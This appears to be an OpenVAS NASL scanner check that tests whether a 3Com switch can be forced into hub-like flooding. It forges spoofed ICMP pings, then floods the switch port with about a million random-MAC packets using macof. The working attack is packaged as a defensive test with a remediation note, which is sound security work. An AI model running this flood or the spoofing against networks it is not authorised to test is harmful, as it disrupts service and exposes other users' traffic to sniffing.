3com switch2hub

# SPDX-FileCopyrightText: 2009 Vlatko Kosturjak
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later

# currently, NASL is missing ethernet level functions to implement this
# fully in NASL, so we're using macof from dsniff -kost

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.80103");
  script_version("2023-07-21T05:05:22+0000");
  script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
  script_tag(name:"creation_date", value:"2009-08-10 06:09:48 +0200 (Mon, 10 Aug 2009)");
  script_tag(name:"cvss_base", value:"7.8");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:C");
  script_copyright("Copyright (C) 2009 Vlatko Kosturjak");
  script_name("3com switch2hub");
  script_category(ACT_DENIAL);
  script_family("Denial of Service");
  script_dependencies("find_service.nasl", "global_settings.nasl", "toolcheck.nasl");
  script_mandatory_keys("Tools/Present/macof");
  script_exclude_keys("keys/islocalhost", "keys/TARGET_IS_IPV6");

  script_add_preference(name:"Network interface on OpenVAS box (used for scanning):", type:"entry", value:"", id:1);
  script_add_preference(name:"Fake IP (alive and on same subnet as scanner):", type:"entry", value:"", id:2);
  script_add_preference(name:"Number of packets:", type:"entry", value:"1000000", id:3);
  script_add_preference(name:"Report missing configuration or dependencies", value:"no", type:"checkbox", id:4);

  script_xref(name:"URL", value:"http://www.securitybugware.org/Other/2041.html");

  script_tag(name:"solution", value:"Lock Mac addresses on each port of the remote switch or
  buy newer switch.");

  script_tag(name:"summary", value:"The remote host is subject to the switch to hub flood attack.");

  script_tag(name:"insight", value:"The remote host on the local network seems to be connected through a
  switch which can be turned into a hub when flooded by different mac addresses. The theory is to send a
  lot of packets (> 1000000) to the port of the switch we are connected to, with random mac addresses.
  This turns the switch into learning mode, where traffic goes everywhere.");

  script_tag(name:"impact", value:"An attacker may use this flaw in the remote switch
  to sniff data going to this host.");

  script_tag(name:"qod_type", value:"remote_analysis");
  script_tag(name:"solution_type", value:"Workaround");

  exit(0);
}

include("misc_func.inc");

if( islocalhost() || TARGET_IS_IPV6() )
  exit( 0 );

interface = script_get_preference( "Network interface on OpenVAS box (used for scanning):", id:1 );
fakeip = script_get_preference( "Fake IP (alive and on same subnet as scanner):", id:2 );
nrpackets = script_get_preference( "Number of packets:", id:3 );
report_missing = script_get_preference( "Report missing configuration or dependencies", id:4 );

if( ! fakeip ) {
  if( report_missing != "yes" ) exit( 0 );
  log_message( port:0, data:"Fake IP address not specified. Skipping this check." );
  exit( 0 );
}

if( ! nrpackets ) {
  nrpackets = 1000000;
}
if( ! interface ) {
  if( report_missing != "yes" ) exit( 0 );
  log_message( port:0, data:"Interface not specified. Skipping this check." );
  exit( 0 );
}

function spoofping( srcaddr, dstaddr ) {

  n = 3;  # Number of tries
  seq = 0;
  filter = strcat( "(tcp or icmp and icmp[0]=0) and src host ", dstaddr, " and dst host ", srcaddr );
  # We cannot use icmp_seq to identifies the datagrams because
  # forge_icmp_packet() is buggy. So we use the data instead
  d = rand_str( length:8 );
  for( i = 0; i < 8; i ++ ) {
    filter = strcat( filter, " and icmp[", i + 8, "]=", ord( d[i] ) );
  }

  r = NULL;
  nr = 0;
  for( i = 0; i < n; i++ ) {
    seq++;
    ip = forge_ip_packet( ip_hl:5, ip_v:4, ip_tos:0, ip_id:rand() % 65536,
                          ip_off:0, ip_ttl:0x40, ip_p:IPPROTO_ICMP, ip_src:srcaddr,
                          ip_len:38 + 36 );
    icmp = forge_icmp_packet( ip:ip, icmp_type:8, icmp_code:0, icmp_seq:seq,
                              icmp_id:seq, data:d );
    r = send_packet( icmp, pcap_active:TRUE, pcap_filter:filter, pcap_timeout:1 );
    if( r ) {
      nr++;
    }
  }
  if( nr > 0 ) {
    return( 1 );
  } else {
    return( 0 );
  }
} # function: spoofping

# nb: This is also already checked in toolcheck.nasl
if( ! find_in_path( "macof" ) )
  exit( 0 );

thisaddr = this_host();
dstaddr = get_host_ip();

# exit if fakeip is same as srcaddr or dstaddr
if( ( thisaddr == fakeip ) || ( dstaddr == fakeip ) ) {
  exit( 0 );
}

if( spoofping( srcaddr:fakeip, dstaddr:dstaddr ) ) {
  exit( 0 );
} else {
  # macof -i <interface> -n <nrpackets>
  i = 0;
  argv[i++] = "macof";
  argv[i++] = "-i";
  argv[i++] = interface;
  argv[i++] = "-n";
  argv[i++] = nrpackets;
  res = pread( cmd:"macof", argv:argv, cd:1, nice:5 );
  if( "libnet_check_iface() ioctl: " >< res ) {
    if( report_missing != "yes" ) exit( 0 );
    log_message( port:0, data:"Problem with executing macof. Probably you specified the wrong interface for this check." );
    exit( 0 );
  }
  if( spoofping( srcaddr:fakeip ) ) {
    security_message( port:0 );
  }
}

exit( 99 );